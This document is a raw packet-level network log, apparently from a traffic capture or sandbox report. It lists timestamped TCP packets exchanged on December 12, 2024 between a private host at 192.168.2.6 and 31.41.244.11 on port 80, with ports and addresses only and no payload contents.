Dec 12, 2024 21:50:12.518604994 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.518646955 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.518646955 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.519304991 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.519371033 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.519431114 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.519445896 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.519699097 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.520042896 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.520096064 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.520160913 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.520174026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.520241976 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.520827055 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.520893097 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.520963907 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.520975113 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.521044016 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.521543026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.521642923 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.521657944 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.521657944 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.521703959 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.521703959 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.522295952 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.522360086 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.522401094 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.522413015 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.522486925 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.523093939 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.523159027 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.523184061 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.523195028 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.523258924 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.523813009 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.523874998 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.523920059 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.523931026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.524137974 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.524571896 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.524636030 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.524707079 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.524719000 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.524769068 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.524769068 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.525326967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.525410891 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.525460005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.525473118 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.525568962 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.526103973 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.526220083 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.526231050 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.526299000 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.526905060 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.526993990 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.527019024 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.527034044 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.527076960 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.527076960 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.527637959 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.527749062 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.527770996 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.527787924 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.527838945 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.528747082 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.528764963 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.528779030 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.528842926 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.528842926 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.529215097 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.529320955 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.529344082 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.529356956 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.529405117 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.529405117 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.529943943 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.530011892 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.530065060 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.530076981 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.530150890 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.530699015 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.530770063 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.530802965 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.530817986 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.530864000 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.530864000 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.531507969 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.531605959 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.531606913 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.531621933 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.531671047 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.531671047 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.532207012 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.532363892 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.532398939 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.532413006 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.532449007 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.532520056 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.532973051 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.533080101 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.533093929 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.533144951 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.533813000 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.533869982 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.534034014 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.534101009 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.534121037 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.534135103 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.534375906 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.534786940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.534895897 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.534900904 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.534917116 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.535015106 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.535521030 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.535598040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.535631895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.535645962 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.535680056 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.535725117 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.536289930 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.536362886 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.536422014 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.536436081 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.536627054 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.537107944 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.537167072 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.537178993 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.537195921 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.537225008 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.537825108 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.537894964 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.537945032 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.537956953 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.538017035 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.538017035 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.538595915 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.538677931 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.538695097 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.538707972 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.538913012 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.539320946 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.539433956 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.539448023 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.539521933 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.539521933 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.540080070 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.540134907 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.540208101 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.540221930 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.540272951 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.540272951 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.541134119 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.541182041 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.541227102 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.541249037 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.541306019 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.541306019 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.541627884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.541727066 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.541740894 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.541754961 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.541790009 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.542397976 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.542479038 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.542546988 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.542560101 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.542614937 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.542614937 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.708556890 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.708645105 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.708657980 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.708690882 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.708690882 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.708781004 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.708805084 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.708889961 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.708983898 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.708998919 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.709073067 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.709640026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.709738016 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.709791899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.709791899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.709867001 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.709933043 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.709988117 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.710005999 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.710088015 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.710088015 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.710652113 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.710726976 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.710772038 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.710783005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.710835934 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.710835934 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.711447001 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.711520910 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.711561918 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.711571932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.711649895 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.712232113 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.712306023 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.712332964 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.712344885 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.712418079 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.712928057 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.713002920 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.713062048 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.713073969 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.713311911 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.713679075 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.713774920 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.713808060 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.713819027 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.713887930 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.713887930 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.714456081 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.714540958 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.714561939 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.714575052 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.714626074 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.714627028 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.715231895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.715348005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.715361118 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.715387106 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.715419054 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.715971947 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.716051102 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.716065884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.716079950 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.716181040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.716747999 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.716826916 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.716882944 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.716895103 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.717017889 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.717508078 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.717600107 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.717611074 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.717668056 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.718292952 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.718389034 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.718400002 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.718400955 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.718451023 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.718451023 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.719017029 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.719156027 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.719181061 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.719193935 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.719245911 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.719247103 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.719788074 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.719908953 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.719919920 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.719939947 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.720091105 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.720531940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.720609903 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.720648050 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.720660925 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.720753908 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.721276999 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.721357107 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.721434116 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.721446037 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.721523046 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.722054005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.722193003 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.722204924 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.722225904 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.722256899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.722256899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.722816944 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.722879887 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.722946882 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.722959995 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.723018885 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.723018885 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.723608971 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.723685026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.723694086 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.723701000 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.723761082 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.723761082 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.724374056 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.724493980 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.724507093 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.724515915 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.724553108 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.724553108 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.725125074 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.725219965 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.725249052 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.725264072 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.725317955 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.725317955 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.725883961 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.725963116 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.726155996 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.726229906 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.726317883 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.726330996 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.726404905 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.726902008 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.727008104 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.727013111 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.727020979 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.727075100 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.727076054 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.727643013 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.727793932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.727807999 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.727833986 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.727864981 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.728410006 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.728497982 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.728542089 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.728554964 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.728615999 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.728616953 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.729275942 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.729376078 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.729388952 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.729409933 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.729440928 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.729440928 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.730030060 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.730103016 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.730146885 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.730159044 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.730315924 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.730777025 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.730868101 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.730878115 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.730889082 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.730956078 CET	49878	80	192.168.2.6	31.41.244.11
